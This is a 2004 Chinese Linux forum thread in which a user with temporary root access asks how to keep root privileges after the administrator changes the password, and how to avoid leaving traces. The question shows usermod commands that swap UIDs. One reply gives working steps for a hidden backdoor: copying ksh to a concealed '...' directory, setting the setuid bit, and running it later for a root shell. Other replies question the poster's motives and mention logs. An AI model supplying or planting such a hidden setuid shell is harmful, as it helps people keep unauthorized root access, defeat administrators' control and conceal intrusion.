QQ登录

只需一步,快速开始

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 1070|回复: 5

请问如何使一个用户成为root(用户名不变)?

[复制链接]
发表于 2004-11-17 12:04:56 | 显示全部楼层 |阅读模式
是这样的,我有一普通帐号(service),暂时也有root帐号密码,但是root密码以后会被管理员改,我现在可以用root登陆,想值入一个service用户可以执行的带s位的程序,以后我用service用户登陆执行这个程序就变成root,不知道这个程序怎么弄?或者有什么好办法?

我自己的想法是程序先 ,可行吗?还有怎么不在机器上留下痕迹?

/**
    先以SERVICE用户登陆,然后执行一个S位程序,
    程序实现以下功能,变为ROOT
*/
usermod -u 520 root //将ROOT的UID改为520
usermod -g root -u 0 service //将SERVICE的UID改为0

/**
    退出时恢复
*/
usermod -u 0 root
usermod -g service -u 512 service
发表于 2004-11-17 12:19:41 | 显示全部楼层
参考:
http://www.linuxeden.com/forum/showthread.php?t=90735
回复

使用道具 举报

发表于 2004-11-17 12:25:27 | 显示全部楼层
居心不良?
回复

使用道具 举报

发表于 2004-11-17 12:56:21 | 显示全部楼层
痕迹是一定会留下的,干了坏事不知怎么清除现场也是枉然,不过中等水平的网管可能由于疏忽被蒙过。
回复

使用道具 举报

发表于 2004-11-19 23:40:56 | 显示全部楼层
我也有个方法:
#mkdir /usr/lib/...
#cp /bin/ksh /usr/lib/.../.x
#chmod +s /usr/lib/.../.x
这样就ok了,以后你就在一般用户下:
$/usr/lib/.../.x
你就可以得到#,也就是root权限了.
我在rh9下试过,没问题的.除非这些类似的文件被管理员再加工过.
其中建立...目录及.x文件是为了隐藏的目的.
回复

使用道具 举报

发表于 2004-11-20 20:54:50 | 显示全部楼层
The /var/log/ will  catch what you are doing
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

GMT+8, 2024-11-7 01:30 , Processed in 0.131868 second(s), 15 queries .

© 2021 Powered by Discuz! X3.5.

快速回复 返回顶部 返回列表